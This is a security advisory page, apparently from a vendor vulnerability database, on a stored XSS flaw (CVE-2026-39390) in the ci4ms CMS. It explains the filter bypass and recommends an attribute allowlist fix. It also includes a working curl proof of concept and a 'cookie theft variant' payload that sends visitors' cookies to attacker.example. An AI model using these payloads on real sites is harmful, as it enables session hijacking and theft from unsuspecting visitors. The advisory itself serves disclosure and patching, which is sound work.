CVE-2026-39390 — ci4-cms-erp/ci4ms
MEDIUMCVE-2026-39390 is a medium-severity (CVSS 5.5) Cross-site Scripting (XSS) vulnerability in ci4-cms-erp/ci4ms. A fix is available for ci4-cms-erp/ci4ms — see the affected versions and patch details below.
CI4MS has Stored XSS via srcdoc attribute bypass in Google Maps iframe setting
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-39390.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-39390 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
ci4-cms-erp/ci4msReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Google Maps iframe setting (cMap field) in compInfosPost() sanitizes input using strip_tags() with an <iframe> allowlist and regex-based removal of on\w+ event handlers. However, the srcdoc attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an <iframe srcdoc="..."> payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.
Details
Input sanitization (modules/Settings/Controllers/Settings.php:49-53):
$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
$mapValue = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*\'[^\']*\'/i', '', $mapValue);
$mapValue = preg_replace('/\bon\w+\s*=\s*[^\s>]+/i', '', $mapValue);
setting()->set('Gmap.map_iframe', $mapValue);
The three regex patterns only match attributes beginning with on (e.g., onclick, onerror). The srcdoc attribute does not begin with on and passes through untouched.
Output rendering (app/Views/templates/default/gmapiframe.php:3):
<?php echo strip_tags($settings->map_iframe,'<iframe>') ?>
The output applies strip_tags with the same <iframe> allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.
Why HTML entities bypass strip_tags: A payload like <iframe srcdoc="<script>alert(1)</script>"> contains only one tag (<iframe>), which is in the allowlist. The entity-encoded content (<script>) is not recognized as a tag by strip_tags. However, when the browser renders the srcdoc attribute, it decodes the HTML entities and creates a new browsing context containing <script>alert(1)</script>.
Why this is same-origin: Per the HTML specification, an <iframe srcdoc="..."> without a sandbox attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session.
PoC
Prerequisites: Authenticated admin session with update role on the Settings module.
Step 1: Inject the payload
curl -X POST 'https://target/backend/settings/compInfos' \
-H 'Cookie: ci_session=ADMIN_SESSION_ID' \
-d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&[email protected]&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E'
The cMap value decodes to:
<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>
Step 2: Visit any public page that includes the Google Maps widget
Navigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the srcdoc iframe, decodes the entities, and executes the script in the parent page's origin.
Expected result: JavaScript alert(document.domain) fires showing the target's domain, confirming same-origin execution.
Cookie theft variant:
<iframe srcdoc="<script>document.location='https://attacker.example/steal?c='+document.cookie</script>"></iframe>
Impact
- Stored XSS affecting all frontend visitors: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.
- Session hijacking: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.
- Credential theft: An attacker can inject a fake login form or redirect users to a phishing page.
- Scope change: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.
The attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to all unauthenticated visitors (S:C), justifying Medium severity.
Recommended Fix
Replace the regex-based attribute blocklist with a strict allowlist approach. Only allow src, width, height, frameborder, style, allowfullscreen, and loading attributes on iframe tags:
// In modules/Settings/Controllers/Settings.php, replace lines 49-52:
$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));
// Strip all attributes except safe ones for iframes
$mapValue = preg_replace_callback(
'/<iframe\s+([^>]*)>/i',
function ($matches) {
$allowedAttrs = ['src', 'width', 'height', 'frameborder', 'style', 'allowfullscreen', 'loading', 'title'];
preg_match_all('/(\w+)\s*=\s*(?:"([^"]*)"|\'([^\']*)\'|(\S+))/i', $matches[1], $attrs, PREG_SET_ORDER);
$safe = '';
foreach ($attrs as $attr) {
$name = strtolower($attr[1]);
$value = $attr[2] ?: $attr[3] ?: $attr[4];
if (in_array($name, $allowedAttrs, true)) {
// For src, only allow https URLs (block javascript: etc.)
if ($name === 'src' && !preg_match('#^https://#i', $value)) {
continue;
}
$safe .= ' ' . $name . '="' . esc($value) . '"';
}
}
return '<iframe' . $safe . '>';
},
$mapValue
);
This allowlist approach ensures that dangerous attributes like srcdoc, src with javascript: protocol, and any future dangerous attributes are blocked by default.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | all versions | 0.31.4.0composer require ci4-cms-erp/ci4ms:^0.31.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ci4-cms-erp/ci4ms to 0.31.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39390 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-39390 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-39390. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-39390 in your dependencies?
O3 Security finds CVE-2026-39390 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.